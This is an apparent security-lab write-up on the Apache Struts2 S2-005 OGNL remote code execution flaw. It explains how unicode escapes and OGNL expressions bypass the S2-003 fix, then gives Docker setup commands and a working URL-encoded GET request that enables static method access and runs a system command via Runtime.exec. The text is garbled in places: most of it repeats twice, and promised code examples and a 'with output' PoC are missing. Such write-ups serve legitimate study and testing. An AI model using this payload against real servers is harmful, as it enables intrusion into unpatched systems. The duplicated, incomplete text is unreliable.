Refer to Chinese security researcher Wu Hanqing's book White Hat Talks About Web Security.
The S2-005 vulnerability traces its roots back to S2-003 (affected versions: below Struts 2.0.12). Struts2 parses every HTTP parameter name as an OGNL expression for execution (think of it as Java code). OGNL expressions use # to access Struts objects, and the Struts framework attempts to prevent security issues by filtering the # character. However, using Unicode encoding (\u0023) or octal (\43) bypasses this restriction. For the S2-003 vulnerability, the official fix involved adding security configurations (disabling static method calls, class method execution, etc.), but those security configurations were later bypassed, reintroducing the vulnerability. Attackers could use OGNL expressions to re-enable those two options. The S2-003 patch essentially put a lock in place, but left the back door wide open.
XWork parses both the keys and values of GET parameters as Java statements via OGNL expressions, for example:
The vulnerability is triggered by exploiting exactly this mechanism, combined with OGNL sandbox bypass techniques — that's S2-003. The official fix for S2-003 was to introduce a security mode (sandbox). S2-005 then uses OGNL expressions to disable that security mode, bypassing the fix once again. The overall process is as follows:
S2-003 uses \u0023 to bypass s2's defense against #
After S2-003, the official fix added a security mode (sandbox)
S2-005 uses OGNL expressions to disable the sandbox and continue executing code
Environment
Run the following command to start the test environment (this example launches the S2-001 environment; the setup process is the same for S2-005).
docker compose build
docker compose up -d
POC & EXP
POC for arbitrary command execution (no output; use @ in place of spaces)
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: target:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Some POCs found online return a 400 error under Tomcat 8. After some investigation, I discovered that characters like \ and " cannot be placed directly in the path — they need to be URL-encoded. Once encoded and sent, it works fine. This POC produces no output.
The POC leverages OGNL's Expression Evaluation:
Conceptually, in (aaa)(bbb), aaa serves as the OGNL expression string and bbb as the root object for that expression. So generally, if aaa needs to execute code, it must be wrapped in quotes, whereas bbb can directly contain Java statements. (aaa)(bbb)=trueis essentially equivalent toaaa=true. However, the exact mechanics still need deeper investigation — room for improvement there.
Looking forward to someone more experienced developing a POC with command output.
POC for arbitrary command execution (with output; URL-encode the commands to be executed)
S2-005 Remote Code Execution Vulnerability
Affected versions: 2.0.0 - 2.1.8.1
Vulnerability details: http://struts.apache.org/docs/s2-005.html
How It Works
Refer to Chinese security researcher Wu Hanqing's book White Hat Talks About Web Security.
XWork parses both the keys and values of GET parameters as Java statements via OGNL expressions, for example:
The vulnerability is triggered by exploiting exactly this mechanism, combined with OGNL sandbox bypass techniques — that's S2-003. The official fix for S2-003 was to introduce a security mode (sandbox). S2-005 then uses OGNL expressions to disable that security mode, bypassing the fix once again. The overall process is as follows:
Environment
Run the following command to start the test environment (this example launches the S2-001 environment; the setup process is the same for S2-005).
POC & EXP
POC for arbitrary command execution (no output; use @ in place of spaces)
Some POCs found online return a 400 error under Tomcat 8. After some investigation, I discovered that characters like \ and " cannot be placed directly in the path — they need to be URL-encoded. Once encoded and sent, it works fine. This POC produces no output.
The POC leverages OGNL's Expression Evaluation:
Conceptually, in (aaa)(bbb), aaa serves as the OGNL expression string and bbb as the root object for that expression. So generally, if aaa needs to execute code, it must be wrapped in quotes, whereas bbb can directly contain Java statements. (aaa)(bbb)=trueis essentially equivalent toaaa=true. However, the exact mechanics still need deeper investigation — room for improvement there.
Looking forward to someone more experienced developing a POC with command output.
POC for arbitrary command execution (with output; URL-encode the commands to be executed)